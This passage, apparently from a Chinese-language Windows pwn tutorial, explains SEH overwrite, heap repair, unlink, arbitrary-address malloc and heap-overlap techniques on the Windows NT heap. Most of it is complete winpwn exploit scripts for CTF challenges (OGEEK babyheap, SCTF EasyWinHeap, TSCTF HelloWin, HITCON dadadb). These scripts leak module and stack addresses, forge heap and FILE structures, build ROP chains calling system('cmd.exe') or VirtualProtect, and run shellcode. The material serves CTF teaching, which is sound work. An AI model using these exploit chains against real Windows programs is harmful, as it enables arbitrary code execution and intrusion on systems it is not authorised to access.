buf_addr = int(p.recv(8), 16)
log.info("buf addr: " + hex(buf_addr))
ebp_value = buf_addr + 0x120
log.info("ebp value: " + hex(ebp_value))
p.sendafter("What is your name:", "\xcc" * 0x104)
p.recvuntil("\xcc" * 0x104)
leak_canary = u32(p.recv(4))
log.success("leak canary: " + hex(leak_canary))
security_cookie = leak_canary ^ ebp_value
log.info("security_cookie: " + hex(security_cookie))
log.info("security_cookie addr: " + hex(pe.address + 0xA004))

fake_ScopeTable = ''
fake_ScopeTable += p32(0x0FFFFFFE4)  # GSCookieOffset
fake_ScopeTable += p32(0x000000000)  # GSCookieXOROffset
fake_ScopeTable += p32(0x0FFFFFE00)  # EHCookieOffset
fake_ScopeTable += p32(0x000000000)  # EHCookieXOROffset
fake_ScopeTable += p32(0x0FFFFFFFE)  # ScopeRecord.EnclosingLevel
fake_ScopeTable += p32(FilterFunc)  # ScopeRecord.FilterFunc
fake_ScopeTable += p32(HandlerFunc)  # ScopeRecord.HandlerFunc
fake_ScopeTable += p32(0x000000000)  # end of ScopeTable

fake_CPPEH_RECORD = ''
fake_CPPEH_RECORD += p32(buf_addr - 0xe0)  # old_esp
fake_CPPEH_RECORD += p32(leak_ucrtbased_addr)  # exc_ptr
fake_CPPEH_RECORD += p32(buf_addr + 0x18c)  # Next
fake_CPPEH_RECORD += p32(pe.address + 0x1e30)  # ExceptionHandler
fake_CPPEH_RECORD += p32(buf_addr ^ security_cookie)  # ScopeTable
# fake_CPPEH_RECORD += p32((pe.address + 0x90A0) ^ security_cookie)  # ScopeTable
fake_CPPEH_RECORD += p32(0xfffffffe)  # TryLevel

payload = ''
payload += fake_ScopeTable
payload += p32(0x114514)
payload = payload.ljust(0x104, '\xcc')
payload += p32(leak_canary)
payload += fake_CPPEH_RECORD
payload += p32(0)
payload += p32(ucrtbased.symbols['system'])
payload += p32(0)
payload += p32(ucrtbased.search("cmd.exe").next())
# windbg.attach(p, "bp {}".format(hex(HandlerFunc)))
p.sendafter("Input again: ", payload)
p.sendafter("Give me one shot: ", "0")
sleep(0.1)
p.sendline("")

p.interactive()

堆利用

堆修复

在进行堆利用的时候如果破坏了进程的默认堆,那么在劫持程序执行流程后会因堆异常导致程序崩溃而无法完成后续利用,这就需要我们在劫持程序执行流程后对进程的默认堆进行修复。

首先利用 ROP 执行 HeapCreate(0,0,0) 完成堆的创建 HeapCreate ,其中 HeapCreate 函数来自 kernel32.dll

payload = ''
payload += p64(ntdll.search(asm("pop rcx; ret"), executable=True).next())
payload += p64(0)
payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret"), executable=True).next())
payload += p64(0)
payload += p64(0)
payload += p64(ntdll.search(asm("pop r8;ret"), executable=True).next())
payload += p64(0)
payload += p64(kernel32.symbols['HeapCreate'])

之后修改 PEB 中的 ProcessHeap (+0x30)ucrtbase.dll 中的 __acrt_heapHeapCreate(0,0,0) 的返回值即可完成堆修复,此时进程的默认堆为 HeapCreate(0,0,0) 创建的堆。

payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret"), executable=True).next())
payload += p64(PEB_addr + 0x30)  # process_heap
payload += p64(0)
payload += p64(ntdll.search(asm("mov qword ptr [rdx], rax; ret;"), executable=True).next())
payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret"), executable=True).next())
payload += p64(ucrtbase.address + 0xEB570)  # __acrt_heap
payload += p64(0)
payload += p64(ntdll.search(asm("mov qword ptr [rdx], rax; ret;"), executable=True).next())

unlink

触发 unlink 的情况有多种,下面仅举例 free 时合并空闲 chunk 造成的 unlink 的方法,这种方法对 unlink 的地址处的内存要求最小。

_HEAP 初始状态如下图所示:
windows pwn_第5张图片
首先释放 Q
windows pwn_第6张图片
为了让 ListHint 不指向 Q ,我们需要再释放 S 。因为如果 ListHint 指向 Q ,在 unlink 之前在 RtlpHeapRemoveListEntry 函数中会对 QFlink 进行检查。
windows pwn_第7张图片
为了绕过 Q->Flink->Blink == Q->Blink->Flink == &Q 的检查,利用 Heap Overflow 或者 UAF 修改 Q_LIST_ENTRY 如下图所示。
windows pwn_第8张图片
合并 chunk 的时候完成 unlink 。

之后会更新 FreeList,此时需要插到 A 之前,会检查 A->Blink->Flink == &A 而由于 A->Blink 在 unlink 中并没有实际被修改,所以 A->Blink=Q,而 Q->Flink = &Q-8,所以这个检查并不会通过。但是,这个检查不通过,不会 abort,只是会中断将 P 插入 FreeList 这个操作。

至此 unlink 攻击完成,可以控制 Data Pointer 实现任意地址读写。
windows pwn_第9张图片

例题:2019 OGEEK babyheap

附件下载链接
一开始 IDA 不能反编译程序,根据错误提示发现 401558 地址之后的代码有问题,实际上这里以及是出错错误退出,___report_rangecheckfailure 不会返回,因此我们在这个函数后面 patch 一个 ret 然后修改一下 IDA 的栈分析就可以正常反编译了。

分析程序发现程序一开始泄露了程序基址, edit 功能存在堆溢出并且 show 功能是 printf("Show : %s\n", ptr_list[index]); 可以通过填充字符实现越界读。
因此我们可以泄露堆的头部然后位置越界写伪造 _LIST_ENTRY 实现 unlink 控制 ptr_list 实现任意地址读写。之后依次泄露 ucrtbase.dllkernel32.dll -> ntdll.dll -> PEB -> TEB -> stack 基址,然后栈上写 ROP。由于栈上返回堆栈相对栈底偏移不固定,因此需要搜索返回地址。

from winpwn import *

context.arch = "i386"
context.newline = '\n'
# context.log_level = "debug"
pe = winfile("babyheap_patch.exe")
ucrtbase = winfile("ucrtbase.dll")
kernel32 = winfile("kernel32.dll")
ntdll = winfile("ntdll.dll")

# p = process(pe.path)
p = remote("192.168.64.161", 22333)


def add(size, content=""):
    p.sendlineafter("What's your choice?", "1")
    p.sendlineafter("How long is your sword?", str(size))
    p.sendlineafter("Well done! Name it!", content)


def delete(index):
    p.sendlineafter("What's your choice?", "2")
    p.sendlineafter("Which sword do you want to destroy?", str(index))


def edit(index, content):
    p.sendlineafter("What's your choice?", "3")
    p.sendlineafter("Which one will you polish?", str(index))
    p.sendlineafter("And what's the length this time?", str(len(content)))
    p.sendlineafter("Then name it again : ", content)


def show(index):
    p.sendlineafter("What's your choice?", "4")
    p.sendlineafter("Which one will you check?", str(index))
    p.recvuntil("Show : ")


def write_one(address):
    p.sendlineafter("What's your choice?", "1337")
    p.sendlineafter("So what's your target?", str(address))


p.recvuntil("And here is your Novice village gift : ")

leak_pe_addr = int(p.recv(10), 16)
log.info("leak pe addr: " + hex(leak_pe_addr))
pe.address = leak_pe_addr - 0x1090
log.info("pe base: " + hex(pe.address))

ptr_list_addr = pe.address + 0x4370
log.info("ptr_list addr: " + hex(ptr_list_addr))
ptr_flag_addr = pe.address + 0x43BC
log.info("ptr_flag addr: " + hex(ptr_flag_addr))

# windbg.attach(p, "bp {}+0x1262".format(hex(pe.address)))
# windbg.attach(p)
for i in xrange(6): add(0x58)

delete(2)
delete(4)

edit(1, 'a' * (0x58 + 0))
show(1)

free_heap_header = ''
while len(free_heap_header) < 8:
    head_len = len(free_heap_header)
    edit(1, 'a' * (0x58 + head_len))
    show(1)
    p.recvuntil('a' * (0x58 + head_len))
    free_heap_header += p.recvline(newline='\r\n', drop=True)
    if len(free_heap_header) < 8:
        free_heap_header += '\x00'
free_heap_header = free_heap_header[:8]

log.success("leak free heap header: ")
hexdump(free_heap_header)

edit(1, 'a' * 0x58 + free_heap_header + p32(ptr_list_addr + 8 - 4) + p32(ptr_list_addr + 8))
delete(1)
write_one(ptr_flag_addr + 2)

arbitrary_address_read = lambda address: (edit(2, p32(ptr_list_addr + 8) + p32(address)), show(3))
arbitrary_address_write = lambda address, content: (edit(2, p32(ptr_list_addr + 8) + p32(address)), edit(3, content))


def arbitrary_address_readn(address, length):
    read_buf = ""
    while len(read_buf) < length:
        arbitrary_address_read(address + len(read_buf))
        read_buf += p.recvline(newline='\r\n', drop=True)
        if len(read_buf) < length: read_buf += '\x00'
    return read_buf[:length]


vfprintf_addr = u32(arbitrary_address_readn(pe.imsyms['__stdio_common_vfprintf'], 4))
log.success("vfprintf addr: " + hex(vfprintf_addr))
ucrtbase.address = vfprintf_addr - ucrtbase.symbols['__stdio_common_vfprintf']
log.info("ucrtbase base: " + hex(ucrtbase.address))

sleep_addr = u32(arbitrary_address_readn(pe.imsyms['Sleep'], 4))
log.success("Sleep addr: " + hex(sleep_addr))
kernel32.address = sleep_addr - kernel32.symbols['Sleep']
log.info("kernel32 base: " + hex(kernel32.address))

wcsncpy_addr = u32(arbitrary_address_readn(kernel32.imsyms['wcsncpy'], 4))
log.success("wcsncpy addr: " + hex(wcsncpy_addr))
ntdll.address = wcsncpy_addr - ntdll.symbols['wcsncpy']
log.info("ntdll base: " + hex(ntdll.address))

log.info("leak PEB addr from: " + hex(ntdll.address + 0x120c0c))
PEB_addr = u32(arbitrary_address_readn(ntdll.address + 0x120c0c, 4)) - 540
log.info("PEB addr: " + hex(PEB_addr))
TEB_addr = PEB_addr + 0x3000
log.info("TEB addr: " + hex(TEB_addr))

stack_base = u32(arbitrary_address_readn(TEB_addr + 4, 4))
stack_limit = u32(arbitrary_address_readn(TEB_addr + 8, 4))
log.success("stack base: " + hex(stack_base))
log.success("stack limit: " + hex(stack_limit))

rop = p32(ucrtbase.symbols['system']) + p32(0) + p32(ucrtbase.search("cmd.exe").next())

for address in range(stack_base, stack_limit - 4, -4):
    arbitrary_address_read(address)
    read_data = p.recvline(newline='\r\n', drop=True)[:4].ljust(4, '\x00')
    if u32(read_data) == pe.address + 0x193b:
        log.success("find ret addr: " + hex(address))
        arbitrary_address_write(address, rop)
        break

p.sendlineafter("What's your choice?", "5")

p.interactive()

例题:2020 SCTF EasyWinHeap

附件下载链接
存在 UAF 和堆溢出,并且调用指针数组上的函数指针,可以直接 UAF+unlink 修改函数指针为 system 完成 getshell 。

from winpwn import *

context.arch = "i386"
#context.log_level = 'debug'
pe = winfile("EasyWinHeap.exe")
ucrtbase = winfile("ucrtbase.dll")

p = process(pe.path)


def add(size):
    p.sendlineafter("option >", "1")
    p.sendlineafter("size >", str(size))


def delete(index):
    p.sendlineafter("option >", "2")
    p.sendlineafter("index >", str(index))


def show(index):
    p.sendlineafter("option >", "3")
    p.sendlineafter("index >", str(index))


def edit(index, content):
    p.sendlineafter("option >", "4")
    p.sendlineafter("index >", str(index))
    p.sendlineafter("content  >", content)


add(0x90)
add(0x90)
add(0x90)
add(0x90)
add(0x90)

delete(1)
delete(3)

show(1)

p.recvline()
node_list_addr = u32(p.recv(4)) - 0x100

log.success("node_list_addr: " + hex(node_list_addr))
log.info("chunk1 addr: " + hex(node_list_addr + 0xa0))

edit(1, p32(node_list_addr + 0x8) + p32(node_list_addr + 0xC))
delete(0)
show(1)

p.recvline()
leak_func_ptr = u32(p.recv(8)[-4:])
# leak_func_ptr = u32(p.recvline(drop=True)[-3:].ljust(4, '\x00'))
log.info("leak func ptr: " + hex(leak_func_ptr))
pe.address = leak_func_ptr - 0x104a
log.info("pe base: " + hex(pe.address))

edit(1, p32(node_list_addr + 0xC) + p32(leak_func_ptr) + p32(pe.imsyms['getchar']))
show(2)
p.recvline()
ucrtbase.address = u32(p.recv(4)) - ucrtbase.symbols['getchar']
log.info("ucrtbase base: " + hex(ucrtbase.address))

# windbg.attach(p, "bp {}\nbp {}".format(hex(pe.address + 0x125F), hex(pe.address + 0x12D0)))

edit(1, p32(node_list_addr + 0xC) + p32(ucrtbase.symbols['system']) + p32(node_list_addr + 0x18) + "cmd.exe\x00")
show(2)

p.interactive()

例题:2021 TSCTF HelloWin

附件下载链接
和 2019 OGEEK babyheap 一样,不过这个题开了 PROCESS_MITIGATION_CHILD_PROCESS_POLICY 保护,需要 ORW 。

from winpwn import *

context.arch = "amd64"
context.log_level = 'debug'
pe = winfile("overflow.exe")
ucrtbase = winfile("ucrtbase.dll")
kernel32 = winfile("kernel32.dll")
ntdll = winfile("ntdll.dll")
start = lambda: process(pe.path)


def add(size, content=""):
    p.sendlineafter("[+] delete", "1")
    p.sendlineafter("[+] Please input size:", str(size))
    p.sendlineafter("[+] Please input content:", content)


def show(index):
    p.sendlineafter("[+] delete", "2")
    p.sendlineafter("[+] Input index:", str(index))
    p.recvuntil("[+] content: ")


def edit(index, content):
    p.sendlineafter("[+] delete", "3")
    p.sendlineafter("[+] Input index:", str(index))
    p.sendlineafter("[+] Please input size:", str(len(content)))
    p.sendlineafter("[+] Please input content:", content)


def delete(index):
    p.sendlineafter("[+] delete", "4")
    p.sendlineafter("[+] Input index:", str(index))


def backdoor(index):
    p.sendlineafter("[+] delete", "88")
    p.sendlineafter("[+] Input index:", str(index))


p = start()
p.sendlineafter("[+] Now,are you ready?", "Yes,me is!!!")
p.sendlineafter("[+] Please tell me your name:", "%p%p%p%p%p")
p.recvuntil("[+] Hello! ")
p.recv(16)
ucrtbase.address = int(p.recv(16), 16) - 0x100900
log.success("ucrtbase base: " + hex(ucrtbase.address))
p.recv(32)
pe.address = int(p.recv(16), 16) - 0x1b4a
log.success("pe base: " + hex(pe.address))
ptr_list_addr = pe.address + 0x6620
log.info("ptr_list addr: " + hex(ptr_list_addr))
p.close()

p = start()
p.sendlineafter("[+] Now,are you ready?", "Yes,me is!!!")
p.sendlineafter("[+] Please tell me your name:", "sky123")
p.sendlineafter("Please tell me your password:", "sky123")

# windbg.attach(p, "bp {}".format(hex(pe.address + 0x1690)[:-1]))
for _ in xrange(5): add(0x58)

delete(1)
delete(3)

free_heap_header = ''
while len(free_heap_header) < 8:
    head_len = len(free_heap_header)
    edit(0, 'a' * (0x58 + head_len))
    show(0)
    p.recvuntil('a' * (0x58 + head_len))
    free_heap_header += p.recvline(drop=True)
    if len(free_heap_header) < 8:
        free_heap_header += '\x00'
free_heap_header = free_heap_header[:8]

log.success("leak free heap header")
hexdump(free_heap_header)
edit(0, "a" * 0x58 + free_heap_header + p64(ptr_list_addr) + p64(ptr_list_addr + 8))
delete(0)
backdoor(1)

arbitrary_address_read = lambda address: (edit(1, p64(ptr_list_addr + 8) + p64(address)), show(2))
arbitrary_address_write = lambda address, content: (edit(1, p64(ptr_list_addr + 8) + p64(address)), edit(2, content))


def arbitrary_address_readn(address, length):
    read_buf = ""
    while len(read_buf) < length:
        log.info("read_buf len: " + hex(len(read_buf)))
        log.info("read_buf:")
        hexdump(read_buf)
        if len(read_buf) != 0: arbitrary_address_write(address, "a" * len(read_buf))
        arbitrary_address_read(address)
        if len(read_buf) != 0: p.recvuntil("a" * len(read_buf))
        read_buf += p.recvline(drop=True)
        if len(read_buf) < length: read_buf += '\x00'
    read_buf = read_buf[:length]
    arbitrary_address_write(address, read_buf)
    return read_buf


# windbg.attach(p, "bp {}".format(hex(pe.address + 0x17B1)[:-1]))

arbitrary_address_read(pe.imsyms['GetCurrentThreadId'])
kernel32.address = u64(p.recvline(drop=True).ljust(8, '\x00')) - kernel32.symbols['GetCurrentThreadId']
log.success("kernel32 base: " + hex(kernel32.address))

arbitrary_address_read(kernel32.imsyms['memcpy'])
ntdll.address = u64(p.recvline(drop=True).ljust(8, '\x00')) - ntdll.symbols['memcpy']
log.success("ntdll base: " + hex(ntdll.address))

arbitrary_address_read(ntdll.address + 0x184318)
PEB_addr = u64(p.recvline(drop=True).ljust(8, '\x00')) - 0x80
log.success("PEB addr: " + hex(PEB_addr))

TEB_addr = PEB_addr + 0x1000
log.info("TEB addr: " + hex(TEB_addr))

stack_base = u64(arbitrary_address_readn(TEB_addr + 8, 8))
log.success("stack base: " + hex(stack_base))


def get_payload(payload_addr):
    shellcode_offset = 0x80
    rwbuf_offset = 0x70

    shellcode = asm(
        """
        sub rsp, 0x1000
        mov rcx, {0}
        mov edx, 0x80000000
        xor r9d, r9d
        lea r8d, [r9+1]
        mov qword ptr [rsp + 0x30], 0
        mov qword ptr [rsp + 0x28], 0x80
        mov qword ptr [rsp + 0x20], 3
        mov rbx, {1} 
        call rbx //FileA = CreateFileA("flag.txt", 0x80000000, 1u, 0, 3u, 0x80u, 0)
        xchg rcx,rax
        mov rdx, {0}
        mov r8d, 0x30
        lea r9,[rsp + 0x200]
        mov qword ptr [rsp + 0x20], 0
        mov rbx, {2} 
        call rbx //ReadFile(FileA, Buffer, 0x3000u, &NumberOfBytesRead, 0);
        mov rcx, {0}
        mov rbx,{3}
        call rbx // puts(Buffer);
        """.format(
            hex(payload_addr + rwbuf_offset),
            hex(kernel32.symbols['CreateFileA']),
            hex(kernel32.symbols['ReadFile']),
            hex(ucrtbase.symbols['puts']),
        )
    )

    payload = ''
    payload += p64(ntdll.search(asm("pop rcx;ret"), executable=True).next())
    payload += p64(payload_addr & ~0xFFF)
    payload += p64(ntdll.search(asm("pop rdx;ret"), executable=True).next())
    payload += p64(0x1000)
    payload += p64(ntdll.search(asm('pop r8; pop r9; pop r10; pop r11; ret'), executable=True).next())
    payload += p64(0x40)
    payload += p64(payload_addr + 0x300)
    payload += p64(0)
    payload += p64(0)
    payload += p64(kernel32.symbols['VirtualProtect'])
    payload += p64(payload_addr + shellcode_offset)
    payload = payload.ljust(rwbuf_offset, '\xcc')
    payload += "flag.txt\x00"
    payload = payload.ljust(shellcode_offset, '\xcc')
    payload += shellcode

    return payload


# windbg.attach(p, "bp {}".format(hex(pe.address + 0x17D4)[:-1]))
# windbg.attach(p, "bp {}".format(hex(ntdll.search(asm("pop rcx;ret"), executable=True).next())[:-1]))

for address in range(stack_base - 8, stack_base - 0x4000, -8):
    arbitrary_address_read(address)
    read_data = p.recvline(drop=True)[:8].ljust(8, '\x00')
    if u64(read_data) == pe.address + 0x20D0:
        log.success("find ret addr: " + hex(address))
        # windbg.attach(p, "bp {}".format(hex(pe.address + 0x1A04)[:-1]))
        arbitrary_address_write(address, get_payload(address))
        break

p.sendlineafter("[+] delete", "88")
p.interactive()

任意地址 malloc

如果存在堆溢出并且需要 malloc 的地址附近的数据可控,那么可以伪造 FreeList 链表以及 fake chunk 的 chunk head 从而实现任意地址 malloc 。
windows pwn_第10张图片

例题:2019 HITCON dadadb

附件下载链接

首先根据题目提供的启动脚本可知题目开启 PROCESS_MITIGATION_CHILD_PROCESS_POLICY 保护,只能通过 ORW 获得 flag 。

add 功能存在堆溢出,由于只能在申请堆块的时候才能编辑堆块,因此不能采用 unlink 攻击(因为即使 unlink 攻击成功也无法进行后续利用),而是通过伪造 FreeList 链表实现任意地址 malloc 。

    new_size = atoll(String);
    if ( new_size >= 0x1000 )
      new_size = 0x1000i64;
    node1->ptr = (char *)HeapAlloc(hHeap, 8u, new_size);
    printf("Data:");
    size = node1->size;
    ptr = node1->ptr;
    v13 = GetStdHandle(0xFFFFFFF6);
    if ( !ReadFile(v13, ptr, size, &NumberOfBytesRead, 0i64) )// overflow
    {
      puts("read error");
      _exit(1);
    }

首先通过堆越界读泄露堆地址,然后构造任意地址读泄露 &_HEAP + 0x2c0 处存储的 ntdll.dll 地址,从而泄露 ntdll.dll 基址。这里要注意泄露的 ntdll.dll 地址与 ntdll.dll 基址偏移不固定。之后通过 ntdll->PEB->TEB 的泄露最终泄露栈地址和 dadadb.exe 的程序基址。从 dadadb.exe 的导入表泄露 kernel32.dll 基址以及 puts 函数地址。puts 函数稍后会作为 ORW 的输出函数。最后扫描栈中数据找到 main 函数返回地址从而定位到 login 函数的返回地址作为之后 ROP 的写入地址

接下来需要伪造 FreeList 链表实现任意地址 malloc 。观察发现 Password 后面跟着 Stream 指针。Password 是我们能够控制的,可以用来伪造堆头和 Flink Blink ,然后可以任意地址 malloc 劫持 Stream 指向我们伪造的 FILE 结构体。

在伪造 FreeList 的过程中要注意 chunk 地址要避开 \xa0\xd0 避免输入被截断。

.data:0000000140005648 ; char Password[]
.data:0000000140005648 Password xmmword ?                      ; DATA XREF: login+3A↑w
.data:0000000140005648                                         ; login+DD↑o
.data:0000000140005658 xmmword_140005658 xmmword ?             ; DATA XREF: login+41↑w
.data:0000000140005668 ; FILE *Stream
.data:0000000140005668 Stream dq ?                             ; DATA XREF: login+143↑r

在我们伪造的 FILE 结构体中 _base 指向 login 函数的返回地址处,_file 设为 0 即标准输入,那么在 login 函数中执行下面这段代码就可以读入 ROP 到 login 函数的返回地址 。

  fp = Stream;
  if ( !Stream )
  {
    fopen_s(&Stream, "user.txt", "r");
    fp = Stream;
    if ( !Stream )
      _exit(0);
  }
  fread(Buffer, 0x100ui64, 1ui64, fp);

由于题目没有提供 ucrtbase.dll ,我们使用 kernel32.dll 中的 CreateFileReadFile 以及泄露的 puts 函数实现 ORW 。

from winpwn import *

context.arch = 'amd64'
context.log_level = 'debug'

pe = winfile("dadadb.exe")
ntdll = winfile("ntdll.dll")
kernel32 = winfile("kernel32.dll")


# context.log_level='debug'
def login(user, passwd):
    p.sendlineafter('>> ', '1')
    p.sendafter('User:', user)
    p.sendlineafter('Password:', passwd)


def add(key, size, data=context.newline):
    p.sendlineafter('>> ', '1')
    p.sendlineafter('Key:', key)
    p.sendlineafter('Size:', str(size))
    p.sendafter('Data:', data)


def show(key):
    p.sendlineafter('>> ', '2')
    p.sendlineafter('Key:', key)
    p.recvuntil('Data:')


def delete(key):
    p.sendlineafter('>> ', '3')
    p.sendlineafter('Key:', key)


def logout(): p.sendlineafter('>> ', '4')


p = process("dadadb.exe")

login('orange', 'godlike')

add('1', 0x300)
add('1', 0x30)
add('2', 0x80)
# windbg.attach(p, "bp 00007ff7`865e0000+1B5A")
show('1')
head = p.recv(0x40)
heap_base = u64(p.recv(8)) - 0x980
log.success("heap base: " + hex(heap_base))

arbitrary_address_read = lambda address: (add('1', 0x30, head + p64(address)), show('2'))

arbitrary_address_read(heap_base + 0x2c0)
ntdll.address = (u64(p.recv(8)) - 0x163d10) & ~0xffff
log.success("ntdll base: " + hex(ntdll.address))

arbitrary_address_read(ntdll.address + 0x165368)
PEB_addr = u64(p.recv(8)) - 832
log.success("PEB addr: " + hex(PEB_addr))
TEB_addr = PEB_addr + 0x1000
log.info("TEB addr: " + hex(TEB_addr))

arbitrary_address_read(PEB_addr + 0x10)
pe.address = u64(p.recv(8))
log.success("pe base: " + hex(pe.address))

arbitrary_address_read(TEB_addr + 8)
stack_base = u64(p.recv(8))
log.success("stack base: " + hex(stack_base))
stack_limit = u64(p.recv(8))
log.success("stack limit: " + hex(stack_limit))

arbitrary_address_read(pe.imsyms['puts'])
puts_addr = u64(p.recv(8))
log.success("puts addr: " + hex(puts_addr))

arbitrary_address_read(pe.imsyms['GetCurrentProcessId'])
kernel32.address = u64(p.recv(8)) - kernel32.symbols['GetCurrentProcessId']
log.success("kernel32 base: " + hex(kernel32.address))

rop_addr = None

for address in range(stack_base - 8 - 0x80, stack_limit, -0x80):
    arbitrary_address_read(address)
    read_data = p.recv(0x80)
    pos = read_data.find(p64(pe.address + 0x1e38))
    if pos != -1:
        rop_addr = address + pos - 0x280
        break

log.success("rop addr: " + hex(rop_addr))

add('3', 0x200)
add('3', 0x10)  # chunk3
add('4', 0x50)  # chunk4
add('5', 0x50)  # chunk5

fake_FILE = ''
fake_FILE += p64(0)  # _ptr
fake_FILE += p64(rop_addr)  # _base
fake_FILE += p32(0)  # _cnt
fake_FILE += p32(0x2080)  # _flags
fake_FILE += p32(0)  # _file = stdin(0)
fake_FILE += p32(0)  # _charbuf
fake_FILE += p64(0x200)  # _charbuf
fake_FILE += p64(0)  # _tmpfname
fake_FILE += p64(0xffffffffffffffff)  # DebugInfo
fake_FILE += p32(0xffffffff)  # LockCount
fake_FILE += p32(0)  # RecursionCount
fake_FILE += p64(0)  # OwningThread
fake_FILE += p64(0)  # LockSemaphore
fake_FILE += p64(0)  # SpinCount

add('4', 0x60)  # free chunk4
add('5', 0x60, fake_FILE)  # free chunk5

log.info("chunk3(0x20) addr: " + hex(heap_base + 0xa80))
log.info("chunk4(0x60) addr: " + hex(heap_base + 0xb10))
log.info("chunk5(0x60) addr: " + hex(heap_base + 0xbe0))
log.info("fake chunk addr: " + hex(pe.address + 0x5658))

show('3')
heap_data = p.recv(0x200)
head = heap_data[0x88:0x90]
payload = ''
payload += heap_data[:0x98]
payload += p64(pe.address + 0x5658)  # chunk4->Blink = fake_chunk
payload += heap_data[0xa0:0x160]
payload += p64(pe.address + 0x5658)  # chunk5->Flink = fake_chunk
add('3', 0x10, payload)

fake_chunk = ''
fake_chunk += 'godlike'.ljust(8, '\x00')
fake_chunk += head
fake_chunk += p64(heap_base + 0xb10)  # fake_chunk->Flink = chunk4
fake_chunk += p64(heap_base + 0xbe0)  # fake_chunk->Blink = chunk5

logout()
login('orange', fake_chunk)

# windbg.attach(p, "bp {}".format(hex(pe.address + 0x1591)[:-1]))
add('4', 0x50, 'a' * 0x10 + p64(heap_base + 0xcb0))

logout()
login("sky", "123")

shellcode_addr = (rop_addr - 0x500) & ~0xFFF
buf_addr = rop_addr + 0x128
# windbg.attach(p, "bp {}".format(hex(kernel32.symbols['ReadFile']).replace("L", "")))

# windbg.attach(p, "bp {}".format(hex(shellcode_addr).replace("L", "")))
log.info("shellcode addr: " + hex(shellcode_addr))
log.info("buf addr: " + hex(buf_addr))

payload = ''
payload += p64(ntdll.search(asm("pop rcx;ret"), executable=True).next())
payload += p64(shellcode_addr)
payload += p64(ntdll.search(asm("pop rdx;ret"), executable=True).next())
payload += p64(0x1000)
payload += p64(ntdll.search(asm('pop r8; pop r9; pop r10; pop r11; ret'), executable=True).next())
payload += p64(0x40)
payload += p64(shellcode_addr - 0x300)
payload += p64(0)
payload += p64(0)
payload += p64(kernel32.symbols['VirtualProtect'])
payload += p64(ntdll.search(asm("add rsp, 0x18; ret"), executable=True).next())
payload += '\x00' * 0x18
payload += p64(ntdll.search(asm("pop rcx;ret"), executable=True).next())
payload += p64(0xFFFFFFF6)
payload += p64(kernel32.symbols['GetStdHandle'])
payload += p64(ntdll.address + 0x3537a)  # mov rcx, rax; mov rax, rcx; add rsp, 0x28; ret;
payload += '\x00' * 0x28
payload += p64(ntdll.search(asm("pop rdx;ret"), executable=True).next())
payload += p64(shellcode_addr)
payload += p64(ntdll.search(asm('pop r8; pop r9; pop r10; pop r11; ret'), executable=True).next())
payload += p64(0x100)
payload += p64(shellcode_addr - 0x300)
payload += p64(0)
payload += p64(0)
payload += p64(kernel32.symbols['ReadFile'])
payload += p64(shellcode_addr)
payload += '\x00' * 0x20
payload += p64(0)
payload = payload.ljust(buf_addr - rop_addr, '\x00')
payload += 'flag.txt\x00'
sleep(1)
p.sendline(payload)

shellcode = asm(
    """
    sub rsp, 0x1000
    mov rcx, {0}
    mov edx, 0x80000000
    xor r9d, r9d
    lea r8d, [r9+1]
    mov qword ptr [rsp + 0x30], 0
    mov qword ptr [rsp + 0x28], 0x80
    mov qword ptr [rsp + 0x20], 3
    mov rbx, {1} 
    call rbx //FileA = CreateFileA("flag.txt", 0x80000000, 1u, 0, 3u, 0x80u, 0)
    xchg rcx,rax
    mov rdx, {0}
    mov r8d, 0x30
    lea r9,[rsp + 0x200]
    mov qword ptr [rsp + 0x20], 0
    mov rbx, {2} 
    call rbx //ReadFile(FileA, Buffer, 0x3000u, &NumberOfBytesRead, 0);
    mov rcx, {0}
    mov rbx,{3}
    call rbx // puts(Buffer);
    """.format(
        hex(buf_addr),
        hex(kernel32.symbols['CreateFileA']),
        hex(kernel32.symbols['ReadFile']),
        hex(puts_addr)
    )
)

sleep(1)
p.sendline(shellcode)

p.interactive()

heap overlap

通过越界写修改 chunk 堆头造成堆块重叠,造成更大范围的越界。

例题:2019 WCTF LazyFragmentationHeap

附件下载链接

结构体定义如下:

struct Node
{
  size_t magic2;
  size_t size;
  size_t id;
  size_t magic1;
  char *content;
};

各个功能有如下特点:

add edit show delete OpenFile ReadFile
magic1 初始化为 0xDDAABEEF1ACD 必须为 0xDDAABEEF1ACD 必须为 0xDDAABEEF1ACD 或 0xFACE6DA61A35C767 必须为 0xDDAABEEF1ACD 或者 magic2 满足条件
magic2 初始化为 0xDDAABEEF1ACD 必须为 0xDDAABEEF1ACD 必须为 0xDDAABEEF1ACD 必须为 0xDDAABEEF1ACD 或者 magic1 满足条件
备注 结束后 magic1 异或 0xFACEB00CA4DADDAA 最多使用 2 次

edit 功能存在越界写:

        v19 = -1i64;
        v20 = ::node_list[v18].content;
        v21 = ::node_list[v18].size;
        do
          ++v19;
        while ( v20[v19] );
        if ( v19 > v21 && ::node_list[v18].magic1 == 0xDDAABEEF1ACDi64 )
        {
          v21 = -1i64;
          do
            ++v21;
          while ( v20[v21] );
        }
        if ( read(0, v20, v21) <= 0 )
        {
          puts("read error");
          _exit(1);
        }

show 功能存在越界读:

        v26 = ::node_list[v24].content;
        if ( !v26 )
          goto LABEL_56;
        if ( ::node_list[v24].magic2 != 0xDDAABEEF1ACDi64 )
          goto LABEL_56;
        magic = ::node_list[v24].magic1;
        if ( magic != 0xDDAABEEF1ACDi64 && magic != 0xFACE6DA61A35C767ui64 )
          goto LABEL_56;
        printf("Content: %s\n", v26);

由于程序存在越界读,因此我们可以越界读出 chunk 头从而计算出 _HEAP->Encoding 。之后我们可以越界写伪造 chunk 头造成 chunk overlap 进一步扩大漏洞范围。

之后我们可以 UAF 读出 Flink 从而泄露堆基址。然后劫持 FILE 结构体写 NodeList 中的 chunk 指针实现任意地址读。
windows pwn_第11张图片
通过任意地址读我们可以泄露 ntdll 基址,程序基址和 ucrtbase 基址。

在泄露完所需的地址后,参考上面的操作作如下构造:
windows pwn_第12张图片
这次劫持 FILE 是为了任意地址写修改 pioinfo.osfile 实现 \x1a 绕过,为后续无次数限制的任意地址读写做准备。因为 magic 的校验的数字 0xFACE6DA61A35C767 中有 \x1a

另外用作 unlink 的 chunk 需要伪造 chunk 头,因为 unlink 时 ListHint 指向该 chunk,在 unlink 之前在 RtlpHeapRemoveListEntry 函数中会对该 chunk 的 Flink 指向的 “chunk” 进行检查

